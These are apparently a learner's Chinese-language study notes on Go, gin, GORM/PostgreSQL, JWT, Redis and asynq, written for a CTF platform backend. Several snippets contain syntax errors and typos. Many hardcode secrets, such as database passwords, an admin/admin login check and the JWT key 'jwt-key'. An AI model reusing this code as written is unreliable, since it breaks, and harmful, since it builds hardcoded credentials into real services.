&lt;p&gt;或者可以创建一个切片，也是创建动态数组的方式，如果向其中添加元素超出了 cap ，会重新找一块内存，把原先的数据拷贝过去，至于原先的数据，如果没有其他切片指向，就会被回收，否则仍然留存&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := make([]int, 5, 10)
arg1 _ 类型
arg2 _ 长度
arg3 _ 容量
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;map // map[string]int 键值对&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// 使用 make 初始化
s := make([]int, 5)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;channel // chan int 协程间通信&lt;/li&gt;
&lt;li&gt;func // 函数&lt;/li&gt;
&lt;li&gt;interface{}&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;循环&lt;/h4&gt;
&lt;p&gt;只有 for 本身&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sum := 0
for i := 0; i &amp;lt; 5 ; i++ {
	sum += i
}
fmt.Println(sum)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;if&lt;/h4&gt;
&lt;p&gt;不用带括号 () ，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;i := 0
if i &amp;lt; 5 {
	i+=1
}
fmt.Println(i)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以在条件之前带一句初始化代码 ,switch 一样。&lt;/p&gt;
&lt;h4&gt;defer&lt;/h4&gt;
&lt;p&gt;defer 修饰的语句会正常求值，但是在当前函数返回后才会执行，类似栈结构，先 defer 的后执行。当函数 panic 时也会执行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func main() {
	defer fmt.println(&quot;1&quot;)
	defer fmt.Println(&quot;world&quot;)
	fmt.Println(&quot;hello&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;类型断言&lt;/h4&gt;
&lt;p&gt;当把一个具体的值比如 int赋值给接口，这个值就类似被封装， 编译器只知道 data 是个接口，不知道它底层是 int 还是 string,就没办法进行 + 运算&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var data interface{}
data = 100
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;需要&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;value, ok := data.(int)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接口定义了一组方法，只要某个结构体实现了这些方法，它就是这个接口类型, 函数的参数是接口类型，那么实现这个接口定义方法的结构体都能传入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Animal interface {
    Speak() string
}

type Dog struct{}
func (d Dog) Speak() string { return &quot;ww&quot; }
type Cat struct{}
func (c Cat) Speak() string { return &quot;mm&quot; }
func MakeSound(animal Animal) {
    fmt.Println(animal.Speak())
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;interface{}  和 any 类型可以存储任意类型的数据.&lt;/p&gt;
&lt;p&gt;当把一个具体的结构体赋值给一个接口变量时，go 编译器会屏蔽掉该结构体特有的字段和方法，只保留接口定义的方法，一个接口类型底层存储的是 (Type Value),Type 记录了盒子里面装的是什么类型,而 Value  指向那个具体结构体的内存地址。一般习惯把大对象传指针，避免拷贝造成的性能开销&lt;/p&gt;
&lt;h4&gt;协程&lt;/h4&gt;
&lt;p&gt;go 可以进行多线程，最大化利用 cpu, 只需要在协程前加一个 go 关键字&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;go task(1)
// 主进程
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是主进程执行过快，执行完之后会关闭暂且未执行完毕的协程，所以需要使用 sync.WaitGroup 等待协程执行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 声明
var wg sync.WaitGroup
// 在每一个协程中添加 wg.Add(1) defer wg.Done() ,主进程写 wg.Wait()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;协程之间要传输数据，使用 channel 传输，而不去使用共享内存。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 初始化一个 channel 传递 t 类型数据
t_data := make(chan t)
// 传输数据
t_data &amp;lt;- &quot;data&quot;
//接受数据
value := &amp;lt;-ch
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;默认情况下，管道是非缓冲的。发送方发了数据，必须等接收方拿走，发送方才能继续往下走，主进程发送了数据没有被接收，会导致阻塞.如果 make 时设置了容量就是有缓存的，满了才阻塞发送&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;t_data := make(chan t,10)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Select&lt;/h4&gt;
&lt;p&gt;select 和 switch 一样，select 用于管道通信的，超时控制，非阻塞，多个数据源选择收到数据最快的管道等&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func worker(quit chan bool) {
    for {
        select {
        case &amp;lt;-quit:
            fmt.Println(&quot;接收到退出命令&quot;)
            return // 结束函数
        default:
            fmt.Println(&quot;......&quot;)
            time.Sleep(1 * time.Second)
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;select {
case msg := &amp;lt;-ch:
    fmt.Println(&quot;收到消息:&quot;, msg)
default:
    // 如果 ch 里没数据，select 不会卡住，而是立刻跳到这里
    fmt.Println(&quot;没接受到数据，执行其他操作&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;sync.Mutex&lt;/h4&gt;
&lt;p&gt;常用 api&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Lock() 
Unlock()
TryLock()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 Lock() 之后如果程序 panic ，会导致死锁，所以会用 defer ，保证即使非正常退出，也会解锁。&lt;/p&gt;
&lt;p&gt;把锁和它要保护的数据放在同一个结构体里。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import &quot;sync&quot;

type SafeBank struct {
    Money int       
    mu     sync.Mutex
}

func (s *SafeBank) cq(n int){
    s.mu.Lock()
    defer s.mu.Unlock()
    s.Money += n
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;运行前检查&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// 格式化代码
go fmt ./...

// 静态检查
go vet ./...

// 编译检查
go build

go run m.go
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;go 的导入包是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import &quot;projectName/folderName&quot;

folderName.FuncName
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;gin 框架&lt;/h4&gt;
&lt;p&gt;go mod init projectName&lt;/p&gt;
&lt;p&gt;go mod tidy&lt;/p&gt;
&lt;p&gt;整理依赖，然后 go run name.go 运行，也可以 go build name.go 编译为 exe 文件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import &quot;github.com/gin-gonic/gin&quot; 
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;读取请求数据&lt;/h5&gt;
&lt;p&gt;api参数通过Context的Param方法来获取&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;r.GET(&quot;/string/:name&quot;,func(c *gin.Context){
	name := c.Param(&quot;name&quot;)
	fmt.Println(&quot;hello %s&quot;,name)
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对于 get 请求，可以通过 DefaultQuery 或者 Query 去获取相应参数的值&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;r.GET(&quot;/welcome&quot;, func(c *gin.Context) {
    firstname := c.DefaultQuery(&quot;firstname&quot;, &quot;Guest&quot;)
    lastname := c.Query(&quot;lastname&quot;)
    c.String(http.StatusOK, &quot;Hello %s %s&quot;, firstname, lastname)
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对于 post 请求，获取其中的 json 数据，首先要先将其绑定到一个结构体上，使用 ShouldBindJSON 方法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Login struct {
	User string `json:&quot;user&quot; binding:&quot;required&quot;`
	Password string `json:&quot;password&quot; binding:&quot;required&quot;`
}

r.POST(&quot;/login&quot;, func(c *gin.Context) {
	var json Login
	if err := c.ShouldBindJSON(&amp;amp;json); err != nil {
        c.JSON(http.StatusBadRequest,gin.H{&quot;error&quot;:err.Error()})
        return
	}
    if json.User == &quot;admin&quot; &amp;amp;&amp;amp; json.password == &quot;admin&quot; {
        c.JSON{http.StatusOK.gin.H{&quot;status&quot;:&quot;success login&quot;}}
    }
    else {
        c.JSON{http.StatusUnauthorzied,gin.H{&quot;status&quot;:&quot;unauthorized&quot;}}
    }
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;表单参数获取通过 PostForm 方法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;r.POST(&quot;/form&quot;, func(c *gin.Context){
	type := c.DefaultPostForm(&quot;type&quot;,&quot;alert&quot;)
	msg := c.PostForm(&quot;msg&quot;)
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;获取请求头和客户端 ip&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;c.ClientIP()
c.GetHeader(&quot;xxx&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;设置响应数据&lt;/h5&gt;
&lt;p&gt;有以下方法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;c.JSON(200,gin.H{&quot;msg&quot;:&quot;success&quot;})
c.String(200,&quot;Hello %s&quot;,name)
c.HTML(200,&quot;index.html&quot;,data)
c.Data(200,&quot;image/png&quot;,bytes)
c.Redirect(301,&quot;/path&quot;)
c.Status(200)
c.ProtoBuf(200, data)
c.File(&quot;/path/to/file&quot;)
c.SetCookie()
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;路由群组&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;v1 := r.Group(&quot;/admin&quot;){
	v1.GET(&quot;/profile&quot;,profileHandlerFunc)
}

v2 := r.Group(&quot;/user&quot;) {
    v2.GET(&quot;/login&quot; ,loginHandlerFunc)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;中间件&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;请求进来时，可以鉴权，记录开始时间，限流&lt;/li&gt;
&lt;li&gt;请求出去时，可以记录日志，计算耗时，统一错误处理，&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;有一些方法， c.Next() c.Abort() c.Set() c.Get()&lt;/p&gt;
&lt;p&gt;c.Next()， 暂停当前中间件的执行，执行下一个中间件或者 Handler ，等它们执行完成后再执行 c.Next() 下面的代码，不调用会按顺序执行下一个中间件或者 Handler。return 也会导致程序以外当前中间件执行完了，直接去执行下一个中间件。&lt;/p&gt;
&lt;p&gt;c.Abort() ，阻断调用链中的后续处理函数，（鉴权失败后调用）,调用 c.Abort() 之后，当前函数的代码会跑完，所以通常后面接 return&lt;/p&gt;
&lt;p&gt;c.Set() 存入数据，可以在其他中间件使用 c.Get() 取出。因为本质上是存储在 gin.Context 的一个 map[string]interface{} 中，Map 的 Value 是空接口 &lt;code&gt;interface{}&lt;/code&gt;，能存入any类型的数据,但是取出来的时候不知道是什么类型的数据,需要使用  .(type)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;c.Set(&quot;userId&quot;, 10086)
value, exists := c.Get(&quot;userId&quot;)
phoneNum = value.(int)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用中间件进行日志记录，没办法截取 c.Writer 响应的数据，因此使用一个中间件和一个嵌入 gin.ResponseWriter 和 buffer 的结构体，以及为这个结构体重写的 write 方法，记录响应数据，这里有一个嵌入，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type ResponseWriter struct {
	gin.ResponseWriter
	Body *bytes.Buffer
}	
// 不对 gin.ResponserWriter 命名，这样可以继承这个接口的所有方法 Write Status 等
// 然后重写定义 ResponseWriter 的 Writer 方法，覆盖原有的方法

func (w *ResponseWriter) Write(bytes []byte) (int,error) {
    w.Body.Write(bytes)
    return w.ResponseWriter.Writer(bytes)
}

func (w *ResponseRecorder) WriteString(strings string) (int, error) {
	w.Body.WriteString(strings)
	return w.ResponseWriter.WriteString(strings)
}


// 中间件

func LoggerMiddleware() gin.HandlerFunc {
	return func(c *gin.Context) {
		blw := &amp;amp;ResponseWriter{
			Body:           bytes.NewBufferString(&quot;&quot;),
			ResponseWriter: c.Writer,
		}
		c.Writer = blw // 这一步完成替换
		c.Next()
		// contentType := c.Writer.Header().Get(&quot;Content-Type&quot;)
		statusCode := c.Writer.Status()
		path := c.Request.URL.Path
		log.Printf(`[+] 请求响应数据: %s
        			[+] 请求路径: %s
        			[+] 状态码: %d\n`, blw.Body.String(), path, statusCode)

	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1770476433610-17707809137811.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1770648647899-17707809137812.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;闭包&lt;/h5&gt;
&lt;p&gt;gin 框架的路由处理器的函数或者中间件的函数仅接受一个参数，&lt;code&gt;*gin.Context&lt;/code&gt; ,如果需要传入额外的参数，会使用闭包。&lt;/p&gt;
&lt;p&gt;编译器发现外层函数的一个变量在返回的函数中仍然要使用，将其从栈移到堆上，返回的内部函数拿着该变量的指针&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func createCounter() func() {
	i := 0
	return func() {
		i++
		fmt.Println(&quot;当前的 i 值：&quot;,i)
	}
}	

func main() {
	counterA := createCounter()
	
	counterB := createCounter()
	
	// 这是两个不一样的包，不会影响彼此
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;func AuthMiddle(secret string) gin.HandlerFunc {
	
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;数据库交互 ORM&lt;/h4&gt;
&lt;p&gt;go 中的结构体数据存储在数据库中通过 GORM 。GORM 提供了一个内置的结构体 gorm.model ,将其嵌入结构体中，数据库中的表会有四个通用列&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import &quot;gorm.io/gorm&quot;
import &quot;gorm.io/driver/postgres&quot;

type User struct {
	gorm.model
	Username string `json:&quot;user&quot;`
	Password string `json:&quot;password&quot;`
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;初始化连接数据库&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;import &quot;fmt&quot;
import &quot;log&quot;
import &quot;time&quot;
import &quot;gorm.io/driver/postgres&quot;
import &quot;gorm.io/gorm&quot;
import &quot;gorm.io/gorm/logger&quot;

var DB *gorm.DB

func InitDB() {
	host := &quot;127.0.0.1&quot;
	user := 
	password := 
	dbname :=
	port :=
	sslmode := disable
	TimeZone := &quot;Asia/Shanghai&quot;
	dsn := fmt.Sprintf(&quot;host=%s user=%s password=%s dbname=%s port=%s sslmode=%s TimeZone=%s&quot;,
		host, user, password, dbname, port, sslmode, TimeZone)
	
	
	//pgConfig := postgres.Config{DSN:dsn}
	gormConfig := &amp;amp;gorm.Config{
		Logger: logger.Default.LogMode(logger.Info)
	}
	
	var err error
	DB,err = gorm.Open(postgres.Open(dsn),gormConfig)
	if err != nil {
		panic(&quot;[-] 连接数据库失败:&quot;+err.Error())
	}
	
	// 连接池配置
    sqlDB, _ := DB.DB()
	sqlDB.SetMaxIdleConns(10)
	sqlDB.SetMaxOpenConns(100)
	sqlDB.SetConnMaxLifetime(time.Hour)
	fmt.Println(&quot;[+] 数据库连接成功&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;docker pull 一个 postgres 镜像，手动创建一个 ctf_test 数据库，或者也可以先连接默认的库 postgres&lt;img src=&quot;QQ_1770561358036.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker run --name postgres \
-e POSTGRES_PASSWORD=wsh123456 \
-p 5432:5432 \
-d postgres:15-alpine
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;//db.go
package database

import (
    &quot;log&quot;
    
    &quot;golearn/config&quot;
    &quot;gorm.io/driver/postgres&quot;
    &quot;gorm.io/gorm&quot;
)

var DB *gorm.DB

func InitDB() *gorm.DB {
    cfg := config.GetDBConfig()
    dsn := cfg.ToDSN()
    
    var err error
    DB, err = gorm.Open(postgres.Open(dsn), &amp;amp;gorm.Config{})
	
    if err != nil {
        log.Fatal(&quot;数据库连接失败:&quot;, err)
    }
    
    log.Println(&quot;数据库连接成功&quot;)
    return DB
}

func CloseDB() {
	if DB != nil {
		sqlDB,err := DB.DB()
		if err != nil {
			log.Println(&quot;获取数据库连接失败:&quot;, err)
			return
		}
		sqlDB.Close()
		log.Println(&quot;数据库连接已关闭&quot;)
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;//dbconfig.go
package config

import &quot;fmt&quot;

type DatabaseConfig struct {
    Host     string
    Port     int
    User     string
    Password string
    DBName   string
    SSLMode  string
    TimeZone string
}

func GetDBConfig() DatabaseConfig {
    return DatabaseConfig{
        Host:     &quot;localhost&quot;,
        Port:     5432,
        User:     &quot;postgres&quot;,
        Password: &quot;wsh123456&quot;,
        DBName:   &quot;ctf_test&quot;,
        SSLMode:  &quot;disable&quot;,
        TimeZone: &quot;Asia/Shanghai&quot;,
    }
}

func (c DatabaseConfig) ToDSN() string {
    return fmt.Sprintf(&quot;host=%s user=%s password=%s dbname=%s port=%d sslmode=%s TimeZone=%s&quot;,
        c.Host, c.User, c.Password, c.DBName, c.Port, c.SSLMode, c.TimeZone)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1770561173135.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;curd(GORM Postgresql)&lt;/h5&gt;
&lt;p&gt;将 go 语言转换为 sql 语言，go 中的 Struct 映射为 db 中的 table,结构体的 field 映射为 column,&lt;/p&gt;
&lt;p&gt;gorm 通过反射读取传入的数据类型，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1774182925797.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;create table&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type User struct {
	gorm.Model
	Email `gorm:&quot;uniqueIndex;not null&quot;`
	Password `gorm:&quot;not null&quot;`
}

b.AutoMigrate(&amp;amp;User{})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;insert data&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;user := USer{Email:&quot;1027822561@qq.com&quot;,Password:&quot;aaawsh2026&quot;}
db.Create(&amp;amp;user)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 gorm.Model 或者列中有 ID 字段会被认定为主键，或者显示指定其他字段为主键&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;`gorm:&quot;primaryKey&quot;`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;update data&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 通过主键 （ID） 查找相应数据
var user User
db.Frist(&amp;amp;user,1)
user.Password = &quot;wsh20260201&quot;
db.Save(&amp;amp;user)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;delete data&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;db.Delete(&amp;amp;User{},1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果使用了 gorm.Model ，会打上已经删除的标签，当再次查找时，就是说数据还在库里。否则删除数据。&lt;/p&gt;
&lt;p&gt;where 查询&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DB.Where(&quot;username = ? AND age &amp;gt;= ?&quot;, &quot;jinzhu&quot;, 18).Find(&amp;amp;users)
DB.Where(&quot;username = ?&quot;, &quot;jinzhu&quot;).Or(&quot;age &amp;gt; ?&quot;, 18).Find(&amp;amp;users)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意使用 ? 作为占位符，不使用 fmt.Sprintf 拼接 sql字符串。&lt;/p&gt;
&lt;h5&gt;事务回滚&lt;/h5&gt;
&lt;p&gt;有时候一组操作必须全部完成，例如转账等，因此如果中途有一部分失败，那么全部回滚是相对安全的操作.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tx := DB.Begin()

if err := tx.Create(&amp;amp;user).Error; err != nil {
    // 报错就回滚
	tx.Rollback()
	return
}

if err := tx.Create(&amp;amp;profile).Error; err != nil {
	tx.Rollback()
	return
}
//没问题 commit
tx.Commit()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不能使用全局的 DB ，因为 DB 一遇到执行语句就已经生效了 tx 可以回滚以及遇到 commit 才执行，为了避免在中途遇到 Panic&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;defer func() {
        // 如果中途发生 panic，强制回滚
        if r := recover(); r != nil {
            tx.Rollback()
        }
    }()

    if err := tx.Error; err != nil {
        return
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;JWT 鉴权&lt;/h4&gt;
&lt;p&gt;​	因为 jwt 无状态，所以我的设计是，用户登录时签发一个 token ,如果用户在 token 过期之前选择登出平台，那么我就将这个 token 存放在 redis 数据库中，做一个黑名单，当用户浏览器中仍然存在这个 token, 但是当他访问平台的时候就会被中间件检查到该 token 会禁止访问需要鉴权的页面，重定向到登录界面。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1. 签发 token
import &quot;github.com/golang-jwt/jwt/v5&quot;

type Claims struct {
    UserID int `json:&quot;user_id&quot;`
    Role   string `json:&quot;role&quot;`
    jwt.RegisteredClaims
}

userClaims := Claims{
    UserID: 111,
    Role: &quot;user&quot;,
    RegisteredClaims: jwt.RegisteredClaims{
        ExpiresAt: jwt.NewNumericDate(time.Now().Add(24*time.Hour)),
        IssuedAt:  jwt.NewNumericDate(time.Now()),
    }
}

token := jwt.NewWithClaims(jwt.SigningMethodHS256,userClaims)
signedToken, err := token.SignedString([]byte(&quot;jwt-key&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// 2. 验证 token 

func KeyFuncFactory(secret []byte) jwt.Keyfunc {
    return func(token *jwt.Token) (inerface{}, error) {
        if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
            return nil, log.Fatalf(&quot;unexpected signing method:%v&quot;,token.Header[&quot;alg&quot;])
        }
        return secret ,nil
    }
}

func InspectionToken(token string,secretKey string) (*Claims,error) {
    claims := &amp;amp;Claims{}
    _, err := jwt.ParseWithClaims(token,claims,KeyFuncFactory(secretKey))
    if err != nil {
    	return nil,err
    }
    
    return claims,nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;redis&lt;/h4&gt;
&lt;p&gt;​	内部有16 个 redisDb 对象，每个都实现了一个 dict ，dict 主要由哈希桶数组、哈希节点、双表结构组成，其中哈希桶数组存在两个，扩容时使用 ht[1].&lt;/p&gt;
&lt;p&gt;​	当我存入一个键值对，set key value 。key 会经过一些计算，根据计算结果绑定到哈希桶数组的一个槽位（内部存放一个指针）中，然后经过包装，（*key value *next） 这样一个结构存进槽位中。如果发现两个 key 占了同一个槽位，那就用到 *next 链表，头插法插入当前 key entry ，&lt;/p&gt;
&lt;p&gt;​	hash % size ,如果 size 为 2 的 N 次方，则等价于 (hash &amp;amp; size-1),相对于 % ÷ ，cpu 能更快地解决 &amp;amp; | 这种位运算。&lt;/p&gt;
&lt;p&gt;​&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//redis 初始化

import (
	&quot;context&quot;
	&quot;log&quot;
	&quot;os&quot;

	&quot;github.com/redis/go-redis/v9&quot;
)

var RDB *redis.Client
var Ctx = context.Background()

func InitRedis() {
    addr := os.Getenv(&quot;REDIS_ADDR&quot;)   
    password := os.Getenv(&quot;REDIS_PASSWORD&quot;)
    RDB = redis.NewClient(&amp;amp;redis.Options{
        Addr: addr,
        Password: password,
        DB: 0,
        // redis 16 个哈希表
    })
    if err := RDB.Ping(Ctx).Err(); err != nil {
        log.Fatalf(&quot;redis 连接失败，请重试：%v&quot;,err)
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// 使用 redis 做排行榜查询，避免频繁查询 postgresql 造成的压力
// 使用了 有序集合，内部维护了一个跳表，时间复杂度 O(log2(N))

var teams []model.Team

if err := DB.Find(&amp;amp;teams).Error; err != nil {
    log.Fatalf(&quot;获取排行榜数据失败：%v&quot;,err)
}

redisMembers := make([]redis.Z, 0, len(teams))

for _, team := range teams {
    redisMembers = append(redisMembers, redis.Z{
        Score:  float64(team.Score),
        Member: team.TeamName,
    })
}

if len(redisMembers) &amp;gt; 0 {
    if err := RDB.ZAdd(Ctx, &quot;scoreboard&quot;, redisMembers...).Err(); err != nil {
        log.Printf(&quot;批量更新排行榜分数失败：%v&quot;, err)
    }
}
log.Printf(&quot;排行榜数据获取完成，共加载 %d 个团队数据&quot;,len(teams))


// 1. 优先从 redis 获取排行榜数据
results, err := config.RDB.ZRevRangeWithScores(config.Ctx, &quot;scoreboard&quot;, 0, -1).Result()
results_count := len(results)
if err == nil &amp;amp;&amp;amp; results_count &amp;gt; 0 {
    data := make([]model.Rank, results_count)
    for i, j := range results {
        data[i] = model.Rank{
            Rank:     i + 1,
            TeamName: j.Member.(string),
            Score:    j.Score,
        }
    }
    c.JSON(http.StatusOK, gin.H{
        &quot;message&quot;: &quot;获取排行榜数据成功&quot;,
        &quot;data&quot;:    data,
    })
    return
}

// 2. 如果 redis 数据为空或查询失败，从数据库查询
var teams []model.Team
if err := config.DB.Order(&quot;score desc&quot;).Find(&amp;amp;teams).Error; err != nil {
    c.JSON(http.StatusInternalServerError, gin.H{
        &quot;message&quot;: &quot;获取排行榜数据失败&quot;,
    })
    return
}

c.JSON(http.StatusOK, gin.H{
    &quot;message&quot;: &quot;获取排行榜数据成功&quot;,
    &quot;data&quot;:    teams,
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有一款可视化工具  redis-insight&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;redis.SetNX&lt;/strong&gt; 锁&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;k8s (TODO)&lt;/h4&gt;
&lt;h4&gt;MQ&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// 初始化 mq
package async_tasks

import (
	&quot;backend/util/zaphelper&quot;
	&quot;os&quot;

	&quot;github.com/hibiken/asynq&quot;

)

var AsynqClient *asynq.Client
var server *asynq.Server
var inspector *asynq.Inspector

// 任务类型常量
const (
	TypeStartContainer = &quot;container:start&quot;
	TypeStopContainer  = &quot;container:stop&quot;
	TypeSyncScore      = &quot;rank:sync&quot;
)


func InitMessageQuene() {
    addr := os.Getenv(&quot;REDIS_ADDR&quot;)
    if addr == &quot;&quot; {
        addr = &quot;localhost:6379&quot;
    }
    password := os.Getenv(&quot;REDIS_PASSWORD&quot;)
    if password == &quot;&quot; {
    	password = &quot;wsh_laribely&quot;
    }
    
    redisOption := asynq.RedisClientOpt{
        Addr: addr,
        Password: password,
        DB: 1,
    }
    asynqConfig := asynq.Config{
        Concurrency: 30,
        Queues: map[string]int {
            &quot;critical&quot;: 6,
            &quot;commom&quot;: 3,
            &quot;low&quot;: 1,
        },
        StrictPriority: true,
        Logger: zaphelper.NewZapLogger(zaphelper.Logger),
    }
    AsynqClient = asynq.NewClient(redisOption)
    inspector = asynq.NewInspector(redisOption)
    
    // 启动一个协程监听队列是否有任务
    go func() {
        server = asynq.NewServer(
        	redisOption,
            asynqConfig,
        )   
        mux := asynq.NewServeMux()
		mux.HandleFunc(TypeStartContainer, HandleStartContainerTask)
		mux.HandleFunc(TypeStopContainer, HandleStopContainerTask)
		mux.HandleFunc(TypeSyncScore, HandleSyncScoreTask)
        
        if err := server.Run(mux); err != nil {
            zaphelper.Sugar.Errorf(&quot;消息队列启动失败: %v&quot;, err)
        }
    }()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// mq 的应用
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;​&lt;/p&gt;
&lt;p&gt;平台 k8s 耗时操作设计，handler 层做简单校验以及任务分发（将任务加到请求队列）并与数据库进行交互，然后 tasks 层去执行这些高耗时任务，记录成功失败日志。 cron_jobs 层定时查询实际执行状态并与数据库交互，或者发现一些没成功执行的任务，会去调用 tasks 继续重试执行。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1774520248306.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;大概逻辑 http_req --&amp;gt; web --&amp;gt; handler --&amp;gt; tasks  --&amp;gt;  封装 task_type 和 payload  --&amp;gt; server = asynq.NewServer() --&amp;gt; asynq.NewServeMux() --&amp;gt; server.Run(mux) --&amp;gt; mux 通过 task_type 分发到指定的 mux_handler --&amp;gt; 执行该请求&lt;/p&gt;
&lt;h4&gt;一些问题&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;func HashPassword(password string) string {
	bytes, err := bcrypt.GenerateFromPassword([]byte(password), 14)
	if err != nil {
		log.Printf(&quot;Error hashing password: %v&quot;, err)
		panic(err)
	}
	return string(bytes)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;遇到 error 该怎么处理，现在只知道 panic 但是平台不稳定&lt;/p&gt;
&lt;p&gt;**返回 error **&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func HashPassword(password string) (string,error) {
	bytes, err := bcrypt.GenerateFromPassword([]byte(password), 14)
	if err != nil {
		log.Printf(&quot;Error hashing password: %v&quot;, err)
		return &quot;&quot;, err
	}
	return string(bytes),nil
}
&lt;/code&gt;&lt;/pre&gt;
